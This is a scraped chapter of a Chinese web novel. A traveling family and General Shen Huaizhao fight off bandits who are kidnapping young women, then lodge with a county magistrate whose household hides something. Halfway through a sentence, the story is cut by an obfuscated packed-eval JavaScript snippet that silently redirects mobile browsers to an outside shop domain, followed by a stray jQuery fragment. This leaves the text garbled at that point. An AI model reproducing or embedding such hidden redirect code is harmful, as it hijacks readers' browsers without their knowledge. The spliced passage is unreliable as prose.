文趣网 > 其他小说 > 帘外雨潺潺 > 31. 第31章
    “看它这懈怠懒惰的样子大体便也就知道了。”沈怀昭答。

    元离点了点头。

    宋寅觉得日头差不多了,该上路了,于是将元离喊了回来。

    天气晴朗,万里无云,越发往南,天气越暖和些。

    沈怀昭始终跟在元离那辆辎车旁,偶尔问一问元离累不累,需不需要休息。

    宋时轻无语的翻着白眼,架着马稍放缓了速度,跟坐在另一辆辎车中的元清隔着窗小声嘀咕道:“沈将军也真是的,做个车能有多累,何须如此紧张?”

    元清低声笑着道:“这不叫紧张,这叫心疼。”

    宋时轻只能再一次无语的翻了个白眼。

    不知不觉,一行人已走了许多天,刚进兰珂地界,元离便好奇的掀开帘子左看右看,上次经过时,她在辎车中睡着了,没来得及欣赏这兰珂美景。

    旁边草丛便传来簌簌声,沈怀昭抬手示意众人停下,侧耳仔细听着动静。

    元离好奇的掀开帘子。

    不一会,那声音便无了。

    沈怀昭示意沈淼前去查探一番,沈淼刚走近,一把大刀便竖向劈来,沈淼反应快速,立马用剑横挡了一下,因为使刀之人力气之大,加之自己防备不多,沈淼直往后退,沈石见状,一手拿着锤几步上前稳住沈淼,待他站稳后,便一个翻身,将锤甩了出去,正中使刀之人的胸膛。

    霎时间,周围窜出十几个使刀之人,瘦的,高的,矮的,胖的,脸上有刀疤的,胳膊有刺青的云云。

    宋家女眷哪见过如此阵仗,纷纷吓得惊声尖叫起来。

    董云温还算镇定,将两个女儿护在怀中,江俄虽自己怕得要死,但也将吓得瑟瑟发抖的元清揽在怀中轻声安慰。

    沈石沈淼等人迅速与那几个贼人拼得刀光剑影,沈怀昭则让宋寅带着妻小往另一侧而去。

    宋时舟也将佩刀抽出,嘱咐着兄长与从弟保护好家人,自己则加入战斗。

    宋时轻和宋时钰则驾着马,在前方凭着那三脚功夫开路,只不过,宋时轻一下就被踢下马去,滚了好几番,宋时钰则往回救他。

    双拳难敌四手,沈怀昭几人比起那十几个贼人还是单薄了些,宋寅才让车夫拐弯,欲驶进一条小路中去。不料,一刀疤男子,翻身上元离那辆辎车,将车夫抹了个脖子,霎时间,鲜血直流。

    那刀疤男凶狠的将帘子撩开,伸手,往元离那边抓去,元离眼疾手快,用身边的茶壶砸在那男人的额头上,那男人吃痛的捂住自己遭受重击的地方,元离趁他不注意,一脚便将他踢下车去。

    元离第一次见死人,她心里不住地翻起一阵恶心,可是,此时此刻,她只能强压住那即将呕吐的反应,将车夫推下车去,自己试着驾马带着家人离开。

    沈怀昭指挥着她:“抓稳缰绳,左脚踩住车蹬,拉紧左缰,往左边拐。”

    元离学习能力很强,上手很快,在沈怀昭的指示下,她一下就将马控住,并拐了弯。

    沈怀昭将要追赶元离的歹人尽数拦住,然后大声喊道:“莫要扬鞭,恐惊扰了马。”

    元离没往后看,只想着带着家人逃离,于是她一个小小女娘,手被勒得通红,却始终不敢松懈半分。

    江俄和元清的辎车,车夫还算有点拳脚功夫,平安带着宋呈一家三口紧紧跟在元离辎车之后。

    跑了好大一会,宋寅道:“应没再追来了。”

    元离才将那辎车停住。

    宋寅跳下马去,心疼的检查着元离的手。

    宋呈,董云温,江俄,元宁,元清也赶紧下车,还是有些心有余悸。

    董云温眼泪在眼眶中打转,将元离拥入怀中,元离安慰着阿母道:“阿母莫怕,咱们安全了。”

    董云温又气又心疼:“下次莫要在如此了,若你有个闪失我们可如何是好。”

    元离向阿母保证往后绝不会让自己置于危险之中。

    宋呈疑惑的问:“为何那歹人专挑阿诺下手?”

    宋寅也有些疑惑,问道:“阿诺,快些想想,可是得罪了何人?”

    元离绞尽脑汁想了想,自己并无得罪之人,谁会想抓她呢?前一阵子得罪的权势最高的,也就崔绾绾一人,可崔绾绾这人,虽然骄横,但实在愚蠢,杀人这事想必她也不敢做。

    元离摇了摇头:“并无得罪任何人。”

    此时,沈怀昭等人已摆脱匪贼,前来会合,宋时轻与宋时钰同驾一马。

    沈怀昭道:“此事应不是七娘子得罪之人,但却是冲着七娘子而来。”

    “冲我而来?”元离有些疑惑。

    宋寅道:“沈将军这话如何说?”

    沈怀昭道:“从四个月前,会稽至兰珂一带便频繁出现女子失踪,白日出游时失踪,途经这一带失踪,甚至半夜在家中安睡时,第二日父母便发现失踪的也不在少数,此事闹得人心惶惶,圣上便派我来彻查此事,今日,许是七娘子好奇周边风景,频繁掀开帘子,被这伙歹人看中而起。”

    宋时钰道:“确实,我这阿妹长似天仙,遭歹人惦记也说得过去。”

    沈怀昭道:“我所办之事已有进展,在这就得告辞诸位,这天色已然不早,若趁天黑继续赶路,难免再生事端,听说兰珂县中已加强治安,今夜,宋郎中在这兰珂县可认识其他人?可借宿一宿再走。”

    宋寅道:“兰珂县令甄无责与我曾是同僚,相交甚好,可到他那借宿一晚。”

    沈怀昭道:“即是县令家中,想必那歹人也不敢胡作非为。”

    于是,沈怀昭将元离一家安全送往兰珂县令甄无则府中。

    甄无责听说老友到访,便携着怀孕的妻子到门口迎接宋寅一家。

    “贤弟,好久不见。”甄无责道。

    “兄长,叨扰了。”宋寅上前作揖。

    甄无责长得很清瘦,比宋呈还要清瘦,眉眼皆慈善,与宋寅站在一起,还要矮半个头,穿得衣服朴素无华。

    若放到路上,绝不会有人想到这人居然是一县之令。

    他身旁站着一妇人,年纪比董云温大很多,小腹微微隆起,面色黝黑,是健康的小麦肤色,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879017|208810||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑起来有两个小酒窝,脖子侧边有颗小小的痦子。

    董云温和蔼的走上前去道:“姒妇,叨扰了。”

    她抓着董云温的手道:“早就听说宋郎中品性温良,德才兼备,原不想还有如此贤惠的妻子与这么些年轻的儿女们。”

    甄无责看向沈怀昭,问道:“这是?”

    沈怀昭拱手作揖道:“晚辈勇毅候之弟沈怀昭。”

    甄无责想了想道:“原是沈将军,早就听说过出了个少年英豪,今日却有幸遇见。”

    他又问道:“沈将军此来有何贵干?”

    沈怀昭道:“听闻路上不太平,特意将宋郎中一家安全送达。”

    甄无责看了看宋寅,又看了看沈怀昭,似在想些什么。

    几人寒暄一阵,沈怀昭走时向元离告了辞,其他几人面面相觑,长辈还在这,可沈怀昭却只向元离告辞,这是何意?

    到了里屋。

    董云温问道:“姒妇这日子有几月了?”

    梁湪儿道:“看着肚子该有五月多了吧?”

    女人名叫秦良,乍一听像个男儿的名字,她道:“再有两周便就六个月了。”

    董云温又道:“可有其他孩儿了?”

    秦良道:“都怪我这肚子不争气,成亲一二十年,却毫无动静,幸好,这来得也不算晚,可能是老天爷看我夫妻俩人勤勤恳恳,赐给我们的礼物吧!”

    “可看过是个女娘还是儿郎?”

    “没看过,不焦心那些,不管是女娘还是儿郎都好,只要孩儿平安健康就好。”

    “是啊,这当了父亲母亲,最操心的便也就是孩儿了,刚出生时,担心出牙,幼儿时期,怕学步摔跤云云。”

    秦良道:“是啊,做父母的不正担心的就是这些嘛。”

    就在几人畅聊之际,一奴仆进来了,他似是不知道有客人在,进来时,明显愣了一下。

    这奴仆有些含胸驼背,左脚有些微跛,他看了众人一眼,刚准备退出去时,向甄无责弯腰小声说了些什么,甄无责只道:“你看着办就好。”

    他便退了下去。

    随后甄无责又道:“这县衙事情有些多,哈哈哈哈哈,不管了不管了,来贤弟,喝。”

    于是宋呈,宋寅,甄无责三人喝了些酒。

    众人用了膳,皆按照秦良分配的各自回房睡去了。

    元离一晚上不知道在想些什么,总是睡不着。

    她想出去逛逛,找到元宁将那日的事情再解释一遍。

    她便出了门,门有些老旧,她刚走出门外,那门便被一阵风吹得哐嘡一声砸在了一起。

    元离下了一跳,裹着一大氅寻着元宁的房间而去。

    在一拐角处,她朦胧间好似有两个人在抬着什么东西走,仿佛,听见那两人在小声咒骂着什么贱人,贱货之类的言语,她突然想到,莫不是那群专门劫掠少女的贼人?这群人竟胆大到这种地步,居然敢到县令家中胡作非为。

    于是,她好奇的跟了上去,却到一假山后时,那群贼人却不见了。